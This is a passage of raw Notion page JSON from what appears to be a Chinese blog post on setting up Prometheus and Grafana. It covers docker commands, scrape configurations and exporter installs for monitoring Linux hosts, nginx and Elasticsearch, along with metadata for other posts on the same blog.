te":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":"","blockMap":{"block":{"146219e7-c178-4485-b223-22f4b977333c":{"value":{"id":"146219e7-c178-4485-b223-22f4b977333c","version":1211,"type":"page","content":["38ebe951-ef9e-4647-b0ba-90fcb115d92a","c7ab05f6-a72b-4904-acf5-44fa5e393421","998dcb7d-820f-4ba9-8274-8f364f59a84a","ac17a769-0096-47ec-92cd-b48ef8a8509d","fd034eda-d665-48e2-b986-2fa5cc2c57b5","2a2599c0-5801-457e-8693-a7f0f53aac9b","4c363453-e9e2-460f-97d0-0ad194920d07","d9e8df1e-61f6-4cbd-8336-d1f17e43f04d","0c8e9873-15cf-458c-a8c4-1ca3d627d6a6","83597304-e8b9-4fd0-8764-760db8f70f09","da7a09d1-9a6d-4dfc-bc31-e3f48338b96a","17894a46-7d6f-4945-b7eb-61c97234069e","df990257-694e-4c9e-a55d-d281060c6ef2","a8f8dcb9-7928-452a-9b8f-77bcb1ced1fc","60272a5b-f46f-41f8-aa05-4109e6f8fdd5","cb7736c5-d96e-419e-be48-24d72157fdef","048b888a-87d3-4416-86a5-69c8bba1d2bd","a0e09456-1aa5-4ace-acda-a2eadcc34186","77d4d25c-ee5b-4ec1-9469-0f212d20afc5","2773e178-38a6-4e68-82df-1f89b03327eb","1df467b4-a566-4d05-8b12-46ddef76c5f5","f8bbb004-5f50-49c0-8668-4af258ef8e73","874d1dc4-7f7a-41c4-8b99-c9b888051db2","c9a062d1-578b-4c7d-8ad1-72fbf2fa5433","3d45b494-5e55-4ed0-8318-da3cbd688616","9cb1885c-c475-4d9c-817f-035d81dd9e95","dfff0f57-eab6-4fb1-8265-a0adff495667","a863c343-467e-47e3-9586-7436bb309f9f","80b79212-4cff-4c85-8c87-7aa349101d3c","62235bc5-712c-4199-86cf-b59109a2f568","9a1f7974-6b11-40d4-a4e2-195a88c396ff","17da35d3-fabf-4347-a249-75ca79888f1d","b86a7168-b889-41d2-a108-e75f4f925277","8bc8561f-0c08-43fd-9e42-4eb200a2d0d4","5f75a900-4ca7-4980-a04c-3a0938f3decf","0fd52db6-a4c2-46dd-ad6d-6028aa3c7199","55032b6a-3fcb-4794-87e8-489dacb432f9","027a2779-f3df-40b5-a5df-56c2aecc5427","35e8b848-b87e-4084-bfc1-876115ed44b7","e171c310-0a44-43e6-9ff7-507a715e6ff9","6d42265f-d69f-42fc-b25c-c97141f68c5c","36c15e0f-f27c-4c7f-88e6-354879a50916","f930b150-339e-489d-a05e-6baf6ff0b5c2","f4511d6a-8d39-4c09-b95a-089a046ee694","6b5e0430-15ab-4602-8ed7-dd273dfa97a5","c5636880-d0fd-491e-bb23-0896b0380c0e","33b8cbd3-c763-490a-b42c-4c843c603e04","3c68d9fa-6791-451b-8e52-1bf91edc6617","1f99486c-5634-42b2-a458-2ec829ffc137","3e80896e-0a23-410c-b6fa-8d2e6ce8c193","b5005611-87a8-4b47-964f-0b987e8733d0","1c99a773-db6b-49a2-8162-b281c53821ab","94a442ee-95ff-4dbf-a93d-6148bf62aadd","e0668d99-7d64-4c96-96ca-c646a4d1c3a5","d94e7984-1f85-41fd-a39d-d8b4bf610112","f5e710b9-b7cd-43e6-ae82-27312f8d32db","b630e880-53cb-4fcb-8d41-24fb28d44fe1","4cab7fe6-1a22-45a6-9afc-5e99d59904ab","7479cf9a-00fe-4b79-896e-8686cb6c73ec","7ac320e8-67d2-4fcf-af42-6c5ba1d53a94","c21e4cb1-d2f3-41fd-a528-b913ea005200","01f5aa56-fd34-410f-b68b-b086a88990ef","9bb8c601-4f4a-462b-b08a-a7dbb78dd26c","a565f9bb-778f-424c-9f86-623b694dfd72","aafa9b5d-3144-4e80-80ae-a1a529df4b21","6d876b90-9dcf-4819-a948-f997679ddd3c","14386953-383d-4144-aa0d-6b7ac3a44885","4063fbe1-c817-4b31-9a65-35ecedfb9047","d77377f6-dca1-4258-bf15-f9c6dfb10dc9","3083a532-ef0d-4d53-bc4f-e490f664151f","1e4da820-a9c9-43c8-8fea-6edd49af31e2","dc87ab2a-f7d3-4ee3-97aa-a97ba8b2aa71","a99b008d-367c-43cb-8b24-0e986211cb99","0a7bacbe-fb2f-44fd-8465-e7cff4d2db30","d9324d95-aad8-4d76-8266-4f770ccccd58"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1713077802281,"last_edited_time":1714360076545,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"38ebe951-ef9e-4647-b0ba-90fcb115d92a":{"value":{"id":"38ebe951-ef9e-4647-b0ba-90fcb115d92a","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713078048821,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"c7ab05f6-a72b-4904-acf5-44fa5e393421":{"value":{"id":"c7ab05f6-a72b-4904-acf5-44fa5e393421","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"998dcb7d-820f-4ba9-8274-8f364f59a84a":{"value":{"id":"998dcb7d-820f-4ba9-8274-8f364f59a84a","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803631,"last_edited_time":1713077803631,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"ac17a769-0096-47ec-92cd-b48ef8a8509d":{"value":{"id":"ac17a769-0096-47ec-92cd-b48ef8a8509d","type":"callout","properties":{"title":[["最近发现火山引擎有托管的Prometheus,可是当前是邀测阶段。并且发现火山云的ECS是自带开机自启的exporter的。刚好需要搭建一套服务器监控,所以研究了一套Prometheus监控,包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控。"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803631,"last_edited_time":1714353956450,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"fd034eda-d665-48e2-b986-2fa5cc2c57b5":{"value":{"id":"fd034eda-d665-48e2-b986-2fa5cc2c57b5","type":"header","properties":{"title":[["基础"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714353939997,"last_edited_time":1714353966316,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"2a2599c0-5801-457e-8693-a7f0f53aac9b":{"value":{"id":"2a2599c0-5801-457e-8693-a7f0f53aac9b","type":"sub_header","properties":{"title":[["docker安装"]]},"created_time":1714353966486,"last_edited_time":1714353972742,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"4c363453-e9e2-460f-97d0-0ad194920d07":{"value":{"id":"4c363453-e9e2-460f-97d0-0ad194920d07","type":"code","properties":{"title":[["#grafana安装+挂载data\nmkdir /x/grafana-storage\nchmod 777 /x/grafana-storage\ndocker run -d \\\n-p 3000:3000 \\\n--name=grafana \\\n-v /x/grafana-storage:/var/lib/grafana \\\ngrafana/grafana\n\n#promethes安装+挂载yml\nmkdir /x/prometheus\n#配置文件在下面\nvim /x/prometheus/prometheus.yml\ndocker run -d \\\n-p 9090:9090 \\\n--privileged=true \\\n--restart always \\\n--name=prometheus \\\n-v /x/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml \\\nprom/prometheus\n\n\n#进入grafana\nhttp://localhost:3000\n默认密码:admin admin\n#修改ui和语言\n#导入数据源prometheus"]],"language":[["Bash"]]},"created_time":1714357505443,"last_edited_time":1714357684201,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"d9e8df1e-61f6-4cbd-8336-d1f17e43f04d":{"value":{"id":"d9e8df1e-61f6-4cbd-8336-d1f17e43f04d","type":"sub_header","properties":{"title":[["prometheus.yml最终配置"]]},"created_time":1714353972924,"last_edited_time":1714354065608,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"0c8e9873-15cf-458c-a8c4-1ca3d627d6a6":{"value":{"id":"0c8e9873-15cf-458c-a8c4-1ca3d627d6a6","type":"code","properties":{"title":[["#全局配置\nglobal:\n scrape_interval: 15s\n evaluation_interval: 15s\n\n#抓取配置\nscrape_configs:\n\n #nginx监控\n - job_name: 'nginx'\n metrics_path: '/metrics' \n static_configs:\n - targets: ['localhost:9113']\n\n #es监控\n - job_name: \"es\"\n metrics_path: \"/metrics\"\n static_configs:\n - targets: [ \"localhost:9111\" ]\n\n\t#rabbitmq监控\n - job_name: \"rabbitmq\"\n metrics_path: \"/metrics\"\n static_configs:\n - targets: [ \"localhost:15692\" ]\n\n #ECS监控\n - job_name: node\n static_configs:\n - targets: [ \n 'localhost:9091',\n 'localhost1:9091',\n 'localhost2:9091']\n \n #Java程序监控\n - job_name: service\n metrics_path: \"/actuator/prometheus\"\n static_configs:\n\n - targets: [\"localhost:8090\"]\n labels:\n application: applciation1\n\n - targets: [\"localhost:9999\"]\n labels:\n application: applciation2"]],"language":[["Bash"]]},"created_time":1714354013111,"last_edited_time":1714358490577,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"83597304-e8b9-4fd0-8764-760db8f70f09":{"value":{"id":"83597304-e8b9-4fd0-8764-760db8f70f09","type":"header","properties":{"title":[["ECS监控"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803631,"last_edited_time":1714353960680,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"da7a09d1-9a6d-4dfc-bc31-e3f48338b96a":{"value":{"id":"da7a09d1-9a6d-4dfc-bc31-e3f48338b96a","type":"sub_header","properties":{"title":[["安装"]]},"created_time":1714353283401,"last_edited_time":1714353380857,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"17894a46-7d6f-4945-b7eb-61c97234069e":{"value":{"id":"17894a46-7d6f-4945-b7eb-61c97234069e","type":"text","properties":{"title":[["如果选用的火山云的服务器直接参考,如果不是火山云需要参考文档安装"]]},"created_time":1714353380989,"last_edited_time":1714353441802,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"df990257-694e-4c9e-a55d-d281060c6ef2":{"value":{"id":"df990257-694e-4c9e-a55d-d281060c6ef2","type":"text","properties":{"title":[["https://www.volcengine.com/docs/6731/1195154",[["a","https://www.volcengine.com/docs/6731/1195154"]]],["\n"],["https://www.volcengine.com/docs/6408/69457",[["a","https://www.volcengine.com/docs/6408/69457"]]]]},"created_time":1714353410166,"last_edited_time":1714353414738,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"a8f8dcb9-7928-452a-9b8f-77bcb1ced1fc":{"value":{"id":"a8f8dcb9-7928-452a-9b8f-77bcb1ced1fc","type":"code","properties":{"title":[["#查看监控状态\nsystemctl status cloud-monitor-agent\n#查看9091端口监听\nss -naltp | grep 9091\n#返回如下信息时,表示监控组件工作正常,9091 端口已开启。\nLISTEN 0 128 [::]:9091 [::]:* users:((\"cloud-monitor-a\",pid=1661,fd=3))\n#老火山服务器升级组件\nsed -i 's/Prometheus: false/Prometheus: true/' /usr/local/cloud-monitor-agent/config.yaml && systemctl restart cloud-monitor-agent\n#查看端口是否正常访问\ncurl 127.0.0.1:9091/metrics"]],"language":[["Bash"]]},"created_time":1714353417188,"last_edited_time":1714353746541,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"60272a5b-f46f-41f8-aa05-4109e6f8fdd5":{"value":{"id":"60272a5b-f46f-41f8-aa05-4109e6f8fdd5","type":"sub_header","properties":{"title":[["监控配置"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714353755216,"last_edited_time":1714353790238,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"cb7736c5-d96e-419e-be48-24d72157fdef":{"value":{"id":"cb7736c5-d96e-419e-be48-24d72157fdef","type":"code","properties":{"title":[["#抓取配置\nscrape_configs:\n\n #ECS监控\n - job_name: node\n static_configs:\n - targets: [ \n 'localhost:9091',\n 'localhost1:9091',\n 'localhost2:9091']\n "]],"language":[["Bash"]]},"created_time":1714353779544,"last_edited_time":1714357395352,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"048b888a-87d3-4416-86a5-69c8bba1d2bd":{"value":{"id":"048b888a-87d3-4416-86a5-69c8bba1d2bd","type":"sub_header","properties":{"title":[["监控大盘"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714353755526,"last_edited_time":1714353795079,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"a0e09456-1aa5-4ace-acda-a2eadcc34186":{"value":{"id":"a0e09456-1aa5-4ace-acda-a2eadcc34186","type":"text","properties":{"title":[["https://www.volcengine.com/docs/6731/1195154",[["a","https://www.volcengine.com/docs/6731/1195154"]]],["\n拉到最下面就有一个监控大盘"]]},"created_time":1714353810181,"last_edited_time":1714353825567,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"77d4d25c-ee5b-4ec1-9469-0f212d20afc5":{"value":{"id":"77d4d25c-ee5b-4ec1-9469-0f212d20afc5","type":"sub_header","properties":{"title":[["效果演示"]]},"created_time":1714353808091,"last_edited_time":1714357406590,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"2773e178-38a6-4e68-82df-1f89b03327eb":{"value":{"id":"2773e178-38a6-4e68-82df-1f89b03327eb","type":"image","properties":{"size":[["163.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f4718ca2-526a-44eb-99cf-38a92d7e60e1/Untitled.png"]]},"format":{"block_width":1593,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f4718ca2-526a-44eb-99cf-38a92d7e60e1/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5241682360326428,"block_preserve_scale":true},"created_time":1714357492289,"last_edited_time":1714357496096,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["f4718ca2-526a-44eb-99cf-38a92d7e60e1"]}},"1df467b4-a566-4d05-8b12-46ddef76c5f5":{"value":{"id":"1df467b4-a566-4d05-8b12-46ddef76c5f5","type":"header","properties":{"title":[["Nginx监控"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1714357742066,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"f8bbb004-5f50-49c0-8668-4af258ef8e73":{"value":{"id":"f8bbb004-5f50-49c0-8668-4af258ef8e73","type":"sub_header","properties":{"title":[["安装"]]},"created_time":1714357745507,"last_edited_time":1714357972144,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"874d1dc4-7f7a-41c4-8b99-c9b888051db2":{"value":{"id":"874d1dc4-7f7a-41c4-8b99-c9b888051db2","type":"code","properties":{"title":[["\n#查看nginx是否安装stub模块\nnginx -V 2>&1 | grep -o with-http_stub_status_module\n\n#没安装的话需要参考其他教程安装\n\n#修改nginx.conf\nserver {\n listen 9088; \n listen [::]:9088; \n server_name localhost; \n location = /stub_status { \n stub_status;\n }\n}\n\n#nginx配置刷新\nnginx -t\nnginx -s reload\n\n#校验\ncurl http://localhost:9088/stub_status\n\n#安装exporter\nmkdir -p /home/prometheus_exporter/{nginx,es}\ncd /home/prometheus_exporter/nginx\n#这里要根据系统版本选择\nwget https://github.com/nginxinc/nginx-prometheus-exporter/releases/download/v1.1.0/nginx-prometheus-exporter_1.1.0_linux_amd64.tar.gz\ntar -xvf nginx-prometheus-exporter_1.1.0_linux_amd64.tar.gz\nnohup /home/prometheus_exporter/nginx/nginx-prometheus-exporter -nginx.scrape-uri=http://localhost:9088/stub_status >> /dev/null 2>&1 &\n"]],"language":[["Bash"]]},"created_time":1714357827362,"last_edited_time":1714358372165,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"c9a062d1-578b-4c7d-8ad1-72fbf2fa5433":{"value":{"id":"c9a062d1-578b-4c7d-8ad1-72fbf2fa5433","type":"sub_header","properties":{"title":[["监控配置"]]},"created_time":1714357752458,"last_edited_time":1714357757925,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"3d45b494-5e55-4ed0-8318-da3cbd688616":{"value":{"id":"3d45b494-5e55-4ed0-8318-da3cbd688616","type":"code","properties":{"title":[["#抓取配置\nscrape_configs:\n\n #nginx监控\n - job_name: 'nginx'\n metrics_path: '/metrics' \n static_configs:\n - targets: ['localhost:9113']\n "]],"language":[["Bash"]]},"created_time":1714358121490,"last_edited_time":1714358128442,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"9cb1885c-c475-4d9c-817f-035d81dd9e95":{"value":{"id":"9cb1885c-c475-4d9c-817f-035d81dd9e95","type":"sub_header","properties":{"title":[["监控大盘"]]},"created_time":1714357758775,"last_edited_time":1714358299918,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"dfff0f57-eab6-4fb1-8265-a0adff495667":{"value":{"id":"dfff0f57-eab6-4fb1-8265-a0adff495667","type":"text","properties":{"title":[["登陆grafana新建看板导入"]]},"created_time":1714358300241,"last_edited_time":1714358312556,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"a863c343-467e-47e3-9586-7436bb309f9f":{"value":{"id":"a863c343-467e-47e3-9586-7436bb309f9f","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/11199-nginx/",[["a","https://grafana.com/grafana/dashboards/11199-nginx/"]]]]},"created_time":1714358164841,"last_edited_time":1714358296466,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"80b79212-4cff-4c85-8c87-7aa349101d3c":{"value":{"id":"80b79212-4cff-4c85-8c87-7aa349101d3c","type":"sub_header","properties":{"title":[["效果演示"]]},"created_time":1714357766213,"last_edited_time":1714357768834,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"62235bc5-712c-4199-86cf-b59109a2f568":{"value":{"id":"62235bc5-712c-4199-86cf-b59109a2f568","type":"image","properties":{"size":[["134.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3537113a-ba3f-41b2-bd39-431739685339/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3537113a-ba3f-41b2-bd39-431739685339/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5108493490390577,"block_preserve_scale":true},"created_time":1714358352139,"last_edited_time":1714358357810,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["3537113a-ba3f-41b2-bd39-431739685339"]}},"9a1f7974-6b11-40d4-a4e2-195a88c396ff":{"value":{"id":"9a1f7974-6b11-40d4-a4e2-195a88c396ff","type":"header","properties":{"title":[["ElasticSearch监控"]]},"created_time":1714357769196,"last_edited_time":1714357783809,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"17da35d3-fabf-4347-a249-75ca79888f1d":{"value":{"id":"17da35d3-fabf-4347-a249-75ca79888f1d","type":"sub_header","properties":{"title":[["安装"]]},"format":{"copied_from_pointer":{"id":"f8bbb004-5f50-49c0-8668-4af258ef8e73","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357773976,"last_edited_time":1714357773979,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"f8bbb004-5f50-49c0-8668-4af258ef8e73"}},"b86a7168-b889-41d2-a108-e75f4f925277":{"value":{"id":"b86a7168-b889-41d2-a108-e75f4f925277","type":"code","properties":{"title":[["#安装exporter\ncd /home/prometheus_exporter/es\n#这里要根据系统来选择\nwget https://github.com/prometheus-community/elasticsearch_exporter/releases/download/v1.7.0/elasticsearch_exporter-1.7.0.linux-amd64.tar.gz\ntar -xvf elasticsearch_exporter-1.7.0.linux-amd64.tar.gz\nnohup /home/prometheus_exporter/es/elasticsearch_exporter-1.7.0.linux-amd64/elasticsearch_exporter --web.listen-address :9111 --es.uri http://user:psw@localhost:9200 >> /dev/null 2>&1 &"]],"language":[["Bash"]]},"created_time":1714358412403,"last_edited_time":1714358474267,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"8bc8561f-0c08-43fd-9e42-4eb200a2d0d4":{"value":{"id":"8bc8561f-0c08-43fd-9e42-4eb200a2d0d4","type":"sub_header","properties":{"title":[["监控配置"]]},"format":{"copied_from_pointer":{"id":"c9a062d1-578b-4c7d-8ad1-72fbf2fa5433","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357773976,"last_edited_time":1714357773979,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"c9a062d1-578b-4c7d-8ad1-72fbf2fa5433"}},"5f75a900-4ca7-4980-a04c-3a0938f3decf":{"value":{"id":"5f75a900-4ca7-4980-a04c-3a0938f3decf","type":"code","properties":{"title":[["#抓取配置\nscrape_configs:\n\n #es监控\n - job_name: \"es\"\n metrics_path: \"/metrics\"\n static_configs:\n - targets: [ \"localhost:9111\" ]\n "]],"language":[["Bash"]]},"created_time":1714358476802,"last_edited_time":1714358498702,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"0fd52db6-a4c2-46dd-ad6d-6028aa3c7199":{"value":{"id":"0fd52db6-a4c2-46dd-ad6d-6028aa3c7199","type":"sub_header","properties":{"title":[["监控大盘"]]},"format":{"copied_from_pointer":{"id":"9cb1885c-c475-4d9c-817f-035d81dd9e95","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357773976,"last_edited_time":1714358536535,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"9cb1885c-c475-4d9c-817f-035d81dd9e95"}},"55032b6a-3fcb-4794-87e8-489dacb432f9":{"value":{"id":"55032b6a-3fcb-4794-87e8-489dacb432f9","type":"text","properties":{"title":[["登陆grafana新建看板导入"]]},"created_time":171435853178